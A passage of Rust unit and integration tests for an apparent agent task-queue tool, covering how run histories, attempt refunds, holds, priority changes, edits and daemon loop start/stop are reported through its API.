10155 "a resume does not prove the earlier pass was refunded"
10156 );
10157 assert!(f.edges[1].label.contains("resume the same run"));
10158 assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
10159 assert_eq!(
10160 f.edges[2].label,
10161 "stalled after a resume, refund unknown \u{2192} queued"
10162 );
10163 assert!(!f.nodes[2].decided, "a stall is not a decision");
10164 assert_eq!(f.nodes[2].note, Some("no verdict"));
10165 }
10166
10167 #[test]
10168 fn flow_single_pass_quota_stall_is_refunded() {
10169 let t = flow_task(&[FA]);
10170 let f = flow_for(
10171 &t,
10172 &[(
10173 FA,
10174 Some(flow_run(RunStatus::Stalled, |s| {
10175 s.quota.push(crate::run::QuotaLoss {
10176 seat: "judge-1".to_owned(),
10177 node: "judge".to_owned(),
10178 at: Timestamp::now(),
10179 reset: None,
10180 })
10181 })),
10182 )],
10183 );
10184 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10185 }
10186
10187 #[test]
10188 fn flow_parked_refunds_and_stall_without_quota_spends() {
10189 let mut t = flow_task(&[FA]);
10190 t.status = TaskStatus::Queued;
10191 let f = flow_for(
10192 &t,
10193 &[(
10194 FA,
10195 Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
10196 )],
10197 );
10198 assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
10199 assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
10200 let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
10201 assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
10202 assert!(!f.nodes[1].decided);
10203 }
10204
10205 #[test]
10206 fn flow_keeps_an_unreadable_run_as_its_own_node() {
10207 let t = flow_task(&[FA, FB]);
10208 let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
10209 assert_eq!(f.nodes[1].note, Some("unreadable"));
10210 assert!(!f.nodes[1].readable);
10211 assert_eq!(f.nodes[1].run_kind, Some("unknown"));
10212 assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
10213 }
10214
10215 #[test]
10216 fn flow_names_the_branch_of_a_review_only_run() {
10217 let t = flow_task(&[FA]);
10218 let f = flow_for(
10219 &t,
10220 &[(
10221 FA,
10222 Some(flow_run(RunStatus::Merged, |s| {
10223 s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
10224 })),
10225 )],
10226 );
10227 assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
10228 assert_eq!(
10229 f.nodes[1].detail.as_deref(),
10230 Some("review-only run of branch magi/x/A")
10231 );
10232 }
10233
10234 #[test]
10235 fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
10236 let mut t = flow_task(&[FA]);
10237 t.status = TaskStatus::Held;
10238 let pr = crate::run::PrRecord {
10239 url: "https://example.test/pr/1".to_owned(),
10240 number: 1,
10241 state: "open".to_owned(),
10242 checks: "green".to_owned(),
10243 round: 0,
10244 rounds: 3,
10245 red_at_merge: Vec::new(),
10246 };
10247 let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
10248 let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
10249 assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
10250 t.status = TaskStatus::Done;
10251 let f = flow_for(&t, &[(FA, Some(blocked))]);
10252 assert_eq!(f.edges[1].label, "closed by hand: task is done");
10253 }
10254
10255 #[test]
10256 fn flow_with_no_runs_goes_from_queued_to_queued() {
10257 let t = flow_task(&[]);
10258 let f = flow_for(&t, &[]);
10259 assert_eq!(f.nodes.len(), 2);
10260 assert_eq!(f.edges.len(), 1);
10261 assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
10262 assert_eq!(f.edges[0].attempt, AttemptCost::None);
10263 }
10264
10265 #[test]
10268 fn a_parked_non_terminal_run_is_explained_as_parked() {
10269 let mut s = RunState::new(
10270 PathBuf::from("/repo/magi"),
10271 "main".to_owned(),
10272 "0123456789abcdef".to_owned(),
10273 "Do it".to_owned(),
10274 Config::default(),
10275 );
10276 s.status = RunStatus::Implementing;
10277 s.parked = true;
10278 let task = Task::new(
10279 "t".to_owned(),
10280 "Do it".to_owned(),
10281 PathBuf::from("/repo/magi"),
10282 Source::Human,
10283 );
10284 let v = task_run_view(
10285 "20260902-140501-aaaa",
10286 Some(&s),
10287 RunSlot {
10288 n: 1,
10289 resumed: false,
10290 resumed_later: None,
10291 prior: None,
10292 last: true,
10293 },
10294 &task,
10295 );
10296 assert!(v.outcome.contains("Parked"), "{}", v.outcome);
10297 }
10298
10299 fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
10300 let mut s = flow_run(RunStatus::Implementing, edit);
10301 s.parked = false;
10302 let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
10303 task_run_view(
10304 "20260902-140501-aaaa",
10305 Some(&s),
10306 RunSlot {
10307 n: 1,
10308 resumed: false,
10309 resumed_later: Some(2),
10310 prior: None,
10311 last: false,
10312 },
10313 &task,
10314 )
10315 }
10316
10317 #[test]
10318 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10319 let v = earlier_pass_view(|_| {});
10320 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10321 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10322 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10323 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10324 assert_eq!(v.exit, RunExit::Interrupted);
10325 assert_eq!(v.attempt, AttemptCost::Unknown);
10326 }
10327
10328 #[test]
10329 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10330 let v = earlier_pass_view(|s| {
10331 s.quota.push(crate::run::QuotaLoss {
10332 seat: "judge-1".to_owned(),
10333 node: "judge".to_owned(),
10334 at: Timestamp::now(),
10335 reset: None,
10336 });
10337 });
10338 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10339 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10340 assert_eq!(v.attempt, AttemptCost::Unknown);
10341 }
10342
10343 #[test]
10344 fn the_current_pass_states_its_recorded_cause_and_cost() {
10345 let slot = || RunSlot {
10346 n: 1,
10347 resumed: false,
10348 resumed_later: None,
10349 prior: None,
10350 last: true,
10351 };
10352 let task = flow_task(&["20260902-140501-aaaa"]);
10353 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10354 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10355 assert_eq!(
10356 (v.exit, v.attempt),
10357 (RunExit::Parked, AttemptCost::Refunded)
10358 );
10359 let spent = flow_run(RunStatus::Blocked, |_| {});
10360 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10361 assert_eq!(v.attempt, AttemptCost::Spent);
10362 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10363 }
10364
10365 #[tokio::test]
10366 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10367 let f = Fixture::start().await;
10368 let queue = f.queue();
10369 let mut task = Task::new(
10370 "spent".to_owned(),
10371 "Try again".to_owned(),
10372 PathBuf::from("/repo/magi"),
10373 Source::Human,
10374 );
10375 task.start("20260902-140502-bbbb".to_owned());
10376 task.fail("agent gave up", 9);
10377 queue.put(&mut task).expect("file the task");
10378
10379 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10380 assert_eq!(held.status, 200);
10381 assert_eq!(held.json()["status_str"], "held");
10382
10383 let released = f
10384 .post(&format!("/api/queue/{}/release", task.id), None)
10385 .await;
10386 assert_eq!(released.status, 200);
10387 assert_eq!(released.json()["status_str"], "queued");
10388 assert_eq!(
10389 released.json()["attempts"],
10390 0,
10391 "release is a real second chance, not an instant re-hold"
10392 );
10393 assert_eq!(
10394 queue.get(&task.id).expect("reload").status,
10395 TaskStatus::Queued,
10396 "the change is on disk, not only in the reply"
10397 );
10398 assert!(
10399 !f.home
10400 .path()
10401 .join("queue")
10402 .join(format!("{}.lock", task.id))
10403 .exists(),
10404 "the claim the mutation took is released again"
10405 );
10406 }
10407
10408 #[tokio::test]
10409 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10410 let f = Fixture::start().await;
10411 let queue = f.queue();
10412 let mut task = Task::new(
10413 "busy".to_owned(),
10414 "Running right now".to_owned(),
10415 PathBuf::from("/repo/magi"),
10416 Source::Human,
10417 );
10418 queue.put(&mut task).expect("file the task");
10419 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10420
10421 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10422
10423 assert_eq!(res.status, 409);
10424 assert_eq!(
10425 queue.get(&task.id).expect("reload").status,
10426 TaskStatus::Queued,
10427 "the refused hold changed nothing"
10428 );
10429 }
10430
10431 #[tokio::test]
10432 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10433 let f = Fixture::start().await;
10434 let queue = f.queue();
10435 let mut task = Task::new(
10436 "waiting on the migration".to_owned(),
10437 "Do the thing".to_owned(),
10438 PathBuf::from("/repo/magi"),
10439 Source::Human,
10440 );
10441 queue.put(&mut task).expect("file the task");
10442
10443 let held = f
10444 .post(
10445 &format!("/api/queue/{}/hold", task.id),
10446 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10447 )
10448 .await;
10449 assert_eq!(held.status, 200, "{}", held.body);
10450 assert_eq!(held.json()["status_str"], "held");
10451 assert_eq!(
10452 held.json()["hold_reason"],
10453 "waiting for 20260101-000000-aaaa to land"
10454 );
10455
10456 let listed = f.get("/api/queue").await.json();
10457 assert_eq!(
10458 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10459 "the card reads the reason off the same list route"
10460 );
10461
10462 let mut plain = Task::new(
10465 "no reason given".to_owned(),
10466 "Do another thing".to_owned(),
10467 PathBuf::from("/repo/magi"),
10468 Source::Human,
10469 );
10470 queue.put(&mut plain).expect("file the task");
10471 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10472 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10473 assert!(held_plain.json()["hold_reason"].is_null());
10474
10475 let released = f
10476 .post(&format!("/api/queue/{}/release", task.id), None)
10477 .await;
10478 assert_eq!(released.status, 200);
10479 assert!(
10480 released.json()["hold_reason"].is_null(),
10481 "a release must clear the reason so the next hold does not inherit it"
10482 );
10483 }
10484
10485 #[tokio::test]
10486 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10487 let f = Fixture::start().await;
10488 let queue = f.queue();
10489 let mut older = Task::new(
10490 "filed first".to_owned(),
10491 "x".to_owned(),
10492 PathBuf::from("/repo/magi"),
10493 Source::Human,
10494 );
10495 older.id = "20260101-000001-aaaa".to_owned();
10496 let mut newer = Task::new(
10497 "filed second".to_owned(),
10498 "x".to_owned(),
10499 PathBuf::from("/repo/magi"),
10500 Source::Human,
10501 );
10502 newer.id = "20260101-000002-bbbb".to_owned();
10503 queue.put(&mut older).expect("file older");
10504 queue.put(&mut newer).expect("file newer");
10505
10506 let before = f.get("/api/queue").await.json();
10509 assert_eq!(before[0]["id"], newer.id);
10510 assert_eq!(before[1]["id"], older.id);
10511
10512 let raised = f
10516 .post(
10517 &format!("/api/queue/{}/priority", older.id),
10518 Some(r#"{"priority":10}"#),
10519 )
10520 .await;
10521 assert_eq!(raised.status, 200, "{}", raised.body);
10522 assert_eq!(raised.json()["priority"], 10);
10523
10524 let after = f.get("/api/queue").await.json();
10525 let names: Vec<&str> = after
10526 .as_array()
10527 .unwrap()
10528 .iter()
10529 .map(|t| t["id"].as_str().unwrap())
10530 .collect();
10531 assert_eq!(names[0], older.id, "the raised task now sorts first");
10535 }
10536
10537 #[tokio::test]
10538 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10539 let f = Fixture::start().await;
10540 let queue = f.queue();
10541 let mut task = Task::new(
10542 "in flight".to_owned(),
10543 "x".to_owned(),
10544 PathBuf::from("/repo/magi"),
10545 Source::Human,
10546 );
10547 task.start("20260902-140502-bbbb".to_owned());
10548 queue.put(&mut task).expect("file the task");
10549
10550 let res = f
10551 .post(
10552 &format!("/api/queue/{}/priority", task.id),
10553 Some(r#"{"priority":9}"#),
10554 )
10555 .await;
10556 assert_eq!(res.status, 400, "{}", res.body);
10557 assert!(
10558 res.json()["error"]
10559 .as_str()
10560 .is_some_and(|e| e.contains("running")),
10561 "{}",
10562 res.body
10563 );
10564 assert_eq!(
10565 queue.get(&task.id).expect("reload").priority,
10566 0,
10567 "the refused write must not partially apply"
10568 );
10569 }
10570
10571 #[tokio::test]
10572 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10573 let f = Fixture::start().await;
10574 let queue = f.queue();
10575 let mut task = Task::new(
10576 "old title".to_owned(),
10577 "old instruction".to_owned(),
10578 PathBuf::from("/repo/magi"),
10579 Source::Agent {
10580 run: "20260101-000000-beef".to_owned(),
10581 node: "implement".to_owned(),
10582 },
10583 );
10584 task.runs.push("20260101-000000-beef".to_owned());
10585 queue.put(&mut task).expect("file the task");
10586 let created_at = task.created_at;
10587
10588 let edited = f
10589 .post(
10590 &format!("/api/queue/{}/edit", task.id),
10591 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10592 )
10593 .await;
10594 assert_eq!(edited.status, 200, "{}", edited.body);
10595 let body = edited.json();
10596 assert_eq!(body["title"], "new title");
10597 assert_eq!(body["instruction"], "new instruction");
10598 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10599 assert_eq!(body["created_at"], created_at.to_string());
10600 assert_eq!(
10601 body["source"]["kind"], "agent",
10602 "editing a task an agent filed must not turn it human: {body}"
10603 );
10604 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10605
10606 let reloaded = queue.get(&task.id).expect("reload");
10607 assert_eq!(reloaded.title, "new title");
10608 assert_eq!(reloaded.instruction, "new instruction");
10609 }
10610
10611 #[tokio::test]
10612 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10613 let tmp = TempDir::new().expect("tempdir");
10616 let repo = tmp.path().join("repo");
10617 std::fs::create_dir_all(&repo).expect("repo dir");
10618 let judge = MOCK_AGENT_TOML.replace(
10619 "printf ok",
10620 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10621 );
10622 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10623 let f = Fixture::with_repo(repo.clone()).await;
10624 let queue = f.queue();
10625 let mut owner = Task::new(
10626 "owner".to_owned(),
10627 "review it".to_owned(),
10628 repo.clone(),
10629 Source::Human,
10630 );
10631 owner.review_branch = Some("magi/ab12/A".to_owned());
10632 queue.put(&mut owner).expect("file the owner");
10633 let mut task = Task::new(
10634 "draft".to_owned(),
10635 "old".to_owned(),
10636 repo.clone(),
10637 Source::Human,
10638 );
10639 queue.put(&mut task).expect("file the draft");
10640 let url = format!("/api/queue/{}/edit", task.id);
10641
10642 let refused = f
10643 .post(
10644 &url,
10645 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10646 )
10647 .await;
10648 assert_eq!(refused.status, 409, "{}", refused.body);
10649 let msg = refused.json()["error"]
10650 .as_str()
10651 .unwrap_or_default()
10652 .to_owned();
10653 assert!(
10654 msg.contains("magi/ab12/A") && msg.contains("force"),
10655 "{msg}"
10656 );
10657 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10658
10659 let forced = f
10660 .post(
10661 &url,
10662 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10663 )
10664 .await;
10665 assert_eq!(forced.status, 200, "{}", forced.body);
10666 }
10667
10668 #[tokio::test]
10669 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10670 let f = Fixture::start().await;
10671 let queue = f.queue();
10672 let mut task = Task::new(
10673 "in flight".to_owned(),
10674 "do not touch".to_owned(),
10675 PathBuf::from("/repo/magi"),
10676 Source::Human,
10677 );
10678 task.start("20260902-140502-bbbb".to_owned());
10679 queue.put(&mut task).expect("file the task");
10680
10681 let res = f
10682 .post(
10683 &format!("/api/queue/{}/edit", task.id),
10684 Some(r#"{"title":"x","instruction":"y"}"#),
10685 )
10686 .await;
10687 assert_eq!(res.status, 400, "{}", res.body);
10688 assert!(
10689 res.json()["error"]
10690 .as_str()
10691 .is_some_and(|e| e.contains("running")),
10692 "{}",
10693 res.body
10694 );
10695 assert_eq!(
10696 queue.get(&task.id).expect("reload").instruction,
10697 "do not touch",
10698 "the refused edit must not change the file"
10699 );
10700 }
10701
10702 #[tokio::test]
10703 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10704 let f = Fixture::start().await;
10705 let queue = f.queue();
10706 let mut task = Task::new(
10707 "busy".to_owned(),
10708 "Running right now".to_owned(),
10709 PathBuf::from("/repo/magi"),
10710 Source::Human,
10711 );
10712 queue.put(&mut task).expect("file the task");
10713 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10714
10715 let priority = f
10716 .post(
10717 &format!("/api/queue/{}/priority", task.id),
10718 Some(r#"{"priority":9}"#),
10719 )
10720 .await;
10721 assert_eq!(priority.status, 409, "{}", priority.body);
10722
10723 let edit = f
10724 .post(
10725 &format!("/api/queue/{}/edit", task.id),
10726 Some(r#"{"title":"x","instruction":"y"}"#),
10727 )
10728 .await;
10729 assert_eq!(edit.status, 409, "{}", edit.body);
10730 }
10731
10732 #[tokio::test]
10733 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10734 let f = Fixture::start().await;
10735 let queue = f.queue();
10736 let mut task = Task::new(
10737 "shipped by hand".to_owned(),
10738 "merged outside the loop".to_owned(),
10739 PathBuf::from("/repo/magi"),
10740 Source::Agent {
10741 run: "20260101-000000-b455".to_owned(),
10742 node: "implement".to_owned(),
10743 },
10744 );
10745 task.runs.push("20260101-000000-b455".to_owned());
10746 task.runs.push("20260101-000000-9af4".to_owned());
10747 queue.put(&mut task).expect("file the task");
10748 let created_at = task.created_at;
10749
10750 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10751 assert_eq!(done.status, 200, "{}", done.body);
10752 assert_eq!(done.json()["status_str"], "done");
10753
10754 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10755 assert_eq!(
10756 reloaded.runs,
10757 ["20260101-000000-b455", "20260101-000000-9af4"]
10758 );
10759 assert_eq!(
10760 reloaded.source,
10761 Source::Agent {
10762 run: "20260101-000000-b455".to_owned(),
10763 node: "implement".to_owned(),
10764 }
10765 );
10766 assert_eq!(reloaded.created_at, created_at);
10767 }
10768
10769 #[tokio::test]
10770 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10771 let f = Fixture::start().await;
10776 let queue = f.queue();
10777 let mut task = Task::new(
10778 "landed while held".to_owned(),
10779 "x".to_owned(),
10780 PathBuf::from("/repo/magi"),
10781 Source::Human,
10782 );
10783 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10784 queue.put(&mut task).expect("file the held task");
10785
10786 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10787 assert_eq!(done.status, 200, "{}", done.body);
10788 assert_eq!(done.json()["status_str"], "done");
10789 assert!(
10790 done.json()["hold_reason"].is_null(),
10791 "a done task cannot still be waiting on something: {}",
10792 done.body
10793 );
10794 }
10795
10796 #[tokio::test]
10797 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10798 let f = Fixture::start().await;
10803 let queue = f.queue();
10804 let runs = f.runs();
10805 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10806 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10810
10811 let mut task = Task::new(
10812 "landed by hand".to_owned(),
10813 "x".to_owned(),
10814 PathBuf::from("/repo/magi"),
10815 Source::Human,
10816 );
10817 task.runs.push("20260101-000000-doa1".to_owned());
10818 task.runs.push("20260101-000000-doa2".to_owned());
10819 queue.put(&mut task).expect("file the task");
10820
10821 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10822 assert_eq!(done.status, 200, "{}", done.body);
10823
10824 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10825 .expect("run still on disk under this fixture's own home");
10826 assert_eq!(
10827 reloaded_run.status,
10828 RunStatus::Superseded,
10829 "closing the task by hand must relabel the earlier blocked attempt exactly \
10830 like the loop's own settle path does"
10831 );
10832 }
10833
10834 #[tokio::test]
10835 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10836 let f = Fixture::start().await;
10841 let queue = f.queue();
10842 let runs = f.runs();
10843 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10844 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10845
10846 let mut task = Task::new(
10847 "closed with nothing actually landed".to_owned(),
10848 "x".to_owned(),
10849 PathBuf::from("/repo/magi"),
10850 Source::Human,
10851 );
10852 task.runs.push("20260101-000000-dob1".to_owned());
10853 task.runs.push("20260101-000000-dob2".to_owned());
10854 queue.put(&mut task).expect("file the task");
10855
10856 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10857 assert_eq!(done.status, 200, "{}", done.body);
10858
10859 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10860 .expect("run still on disk under this fixture's own home");
10861 assert_eq!(
10862 reloaded_run.status,
10863 RunStatus::Blocked,
10864 "the last recorded attempt never landed, so the earlier one must not be \
10865 relabelled as superseded by it"
10866 );
10867 }
10868
10869 #[tokio::test]
10870 async fn unknown_ids_are_json_not_found_on_both_stores() {
10871 let f = Fixture::start().await;
10872
10873 let run = f.get("/api/runs/nosuchrun").await;
10874 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10875
10876 assert_eq!(run.status, 404);
10877 assert_eq!(task.status, 404);
10878 assert!(
10879 run.json()["error"]
10880 .as_str()
10881 .is_some_and(|e| e.contains("run")),
10882 "the error names what was not found: {}",
10883 run.body
10884 );
10885 assert!(
10886 task.json()["error"]
10887 .as_str()
10888 .is_some_and(|e| e.contains("task")),
10889 "the error names what was not found: {}",
10890 task.body
10891 );
10892 }
10893
10894 #[tokio::test]
10895 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10896 let f = Fixture::start().await;
10897
10898 let missing = f.get("/api/health").await.json();
10899 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10900
10901 write_daemon(
10902 f.home.path(),
10903 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10904 );
10905 let stale = f.get("/api/health").await.json();
10906 assert_eq!(
10907 stale["daemon"]["running"], false,
10908 "a minute without a heartbeat is a dead daemon, not a busy one"
10909 );
10910 assert!(
10911 stale["daemon"]["stale_for_secs"]
10912 .as_i64()
10913 .is_some_and(|s| s >= 55),
10914 "staleness is reported so the UI can say how long: {stale}"
10915 );
10916
10917 write_daemon(f.home.path(), Timestamp::now());
10918 let fresh = f.get("/api/health").await.json();
10919 assert_eq!(fresh["daemon"]["running"], true);
10920 assert_eq!(fresh["daemon"]["idle"], false);
10921 assert_eq!(fresh["daemon"]["pid"], 4242);
10922 assert_eq!(fresh["daemon"]["completed"], 7);
10923 assert_eq!(
10924 fresh["daemon"]["current"][0]["task"],
10925 "20260902-140501-aaaa"
10926 );
10927 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10928 }
10929
10930 #[tokio::test]
10931 async fn the_loop_is_not_running_until_something_starts_it() {
10932 let f = Fixture::start().await;
10933
10934 let view = f.get("/api/loop").await.json();
10935 assert_eq!(view["running"], false);
10936 assert_eq!(
10937 view["owned"], false,
10938 "nobody owns a loop that does not exist: {view}"
10939 );
10940 assert_eq!(view["stopping"], false);
10941 assert_eq!(view["last_error"], Value::Null);
10942 assert_eq!(view["daemon"]["running"], false);
10943 assert_eq!(
10944 view["repo"], "/repo/magi",
10945 "the repository a start would use, named before it is started"
10946 );
10947 }
10948
10949 #[tokio::test]
10950 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10951 let f = Fixture::start().await;
10952
10953 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10954 assert_eq!(res.status, 200, "{}", res.body);
10955 let view = res.json();
10956 assert_eq!(view["running"], true);
10957 assert_eq!(
10958 view["owned"], true,
10959 "the loop the UI started is the UI's own to stop: {view}"
10960 );
10961 assert_eq!(
10962 view["merge"],
10963 Value::Null,
10964 "no override was given, so each repository's own config decides"
10965 );
10966
10967 let health = f.get("/api/health").await.json();
10971 assert_eq!(health["loop"]["running"], true, "{health}");
10972 assert_eq!(health["loop"]["owned"], true, "{health}");
10973
10974 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10975 }
10976
10977 #[tokio::test]
10978 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10979 let f = Fixture::start().await;
10980 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10981 assert_eq!(first.status, 200, "{}", first.body);
10982
10983 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10984 assert_eq!(
10985 again.status, 409,
10986 "two loops on one queue race for the same claims: {}",
10987 again.body
10988 );
10989 assert!(
10990 again.json()["error"]
10991 .as_str()
10992 .is_some_and(|e| e.contains("already running the loop")),
10993 "the refusal has to say why: {}",
10994 again.body
10995 );
10996 assert_eq!(
10997 f.get("/api/loop").await.json()["running"],
10998 true,
10999 "and the loop that was already running is untouched by it"
11000 );
11001
11002 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11003 }
11004
11005 #[tokio::test]
11006 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
11007 let f = Fixture::start().await;
11008 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11009
11010 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11011 assert_eq!(
11012 res.status, 200,
11013 "the answer must not wait for the loop: a run in flight is tens of \
11014 minutes and the operator is holding a phone: {}",
11015 res.body
11016 );
11017
11018 let view = settled(&f, |v| v["running"] == false).await;
11019 assert_eq!(view["owned"], false);
11020 assert_eq!(
11021 view["stopping"], false,
11022 "a loop that has stopped is not still stopping: {view}"
11023 );
11024 assert_eq!(
11025 view["last_error"],
11026 Value::Null,
11027 "a loop that was asked to stop did not fail: {view}"
11028 );
11029
11030 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11033 assert_eq!(twice.status, 200, "{}", twice.body);
11034 }
11035
11036 #[tokio::test]
11037 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
11038 let f = Fixture::start().await;
11039 write_daemon(f.home.path(), Timestamp::now());
11042
11043 let view = f.get("/api/loop").await.json();
11044 assert_eq!(view["running"], false, "not in this process: {view}");
11045 assert_eq!(view["owned"], false, "and not this process's to control");
11046 assert_eq!(
11047 view["daemon"]["running"], true,
11048 "but a loop is alive somewhere, which is what the UI must say"
11049 );
11050 assert_eq!(view["daemon"]["pid"], 4242);
11051
11052 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
11053 let res = f.post("/api/loop", Some(body)).await;
11054 assert_eq!(
11055 res.status, 409,
11056 "neither button may pretend to work on someone else's loop: {}",
11057 res.body
11058 );
11059 assert!(
11060 res.json()["error"]
11061 .as_str()
11062 .is_some_and(|e| e.contains("4242")),
11063 "the refusal has to name the process the operator must go to: {}",
11064 res.body
11065 );
11066 }
11067 assert_eq!(
11068 f.get("/api/loop").await.json()["running"],
11069 false,
11070 "and the refusal started nothing"
11071 );
11072 }
11073
11074 #[tokio::test]
11075 async fn a_stale_status_file_is_not_a_foreign_owner() {
11076 let f = Fixture::start().await;
11077 write_daemon(
11078 f.home.path(),
11079 Timestamp::now() - jiff::SignedDuration::from_secs(60),
11080 );
11081
11082 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11083 assert_eq!(
11084 res.status, 200,
11085 "a daemon killed a minute ago must not lock the loop out of its \
11086 own home for good: {}",
11087 res.body
11088 );
11089 assert_eq!(res.json()["running"], true);
11090
11091 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11092 }
11093
11094 #[tokio::test]
11095 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
11096 let f = Fixture::start().await;
11097 let before = f.get("/api/health").await.json()["loop_rev"]
11098 .as_u64()
11099 .expect("a loop revision");
11100
11101 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11102
11103 let after = f.get("/api/health").await.json()["loop_rev"]
11104 .as_u64()
11105 .expect("a loop revision");
11106 assert!(
11107 after > before,
11108 "the loop is in-process state, so this counter is the only thing \
11109 that tells a second device the first one started it: {before} -> \
11110 {after}"
11111 );
11112
11113 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
11114 }
11115
11116 #[tokio::test]
11117 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
11118 let f = Fixture::with_loop(launch_broken).await;
11119
11120 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11121 assert_eq!(
11122 res.status, 200,
11123 "starting it is not the failure: {}",
11124 res.body
11125 );
11126
11127 let view = settled(&f, |v| v["last_error"].is_string()).await;
11128 assert_eq!(
11129 view["running"], false,
11130 "a loop that died must not read as running, or the operator has \
11131 nothing to press: {view}"
11132 );
11133 assert_eq!(view["owned"], false);
11134 assert!(
11135 view["last_error"]
11136 .as_str()
11137 .is_some_and(|e| e.contains("read-only file system")),
11138 "the phone is where a loop that died at 3am is visible: {view}"
11139 );
11140
11141 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
11144 assert_eq!(again.status, 200, "{}", again.body);
11145 assert!(
11146 again.json()["last_error"]
11147 .as_str()
11148 .is_none_or(|e| !e.contains("read-only file system")),
11149 "a fresh start does not keep showing why the last one died: {}",
11150 again.body
11151 );
11152 }
11153
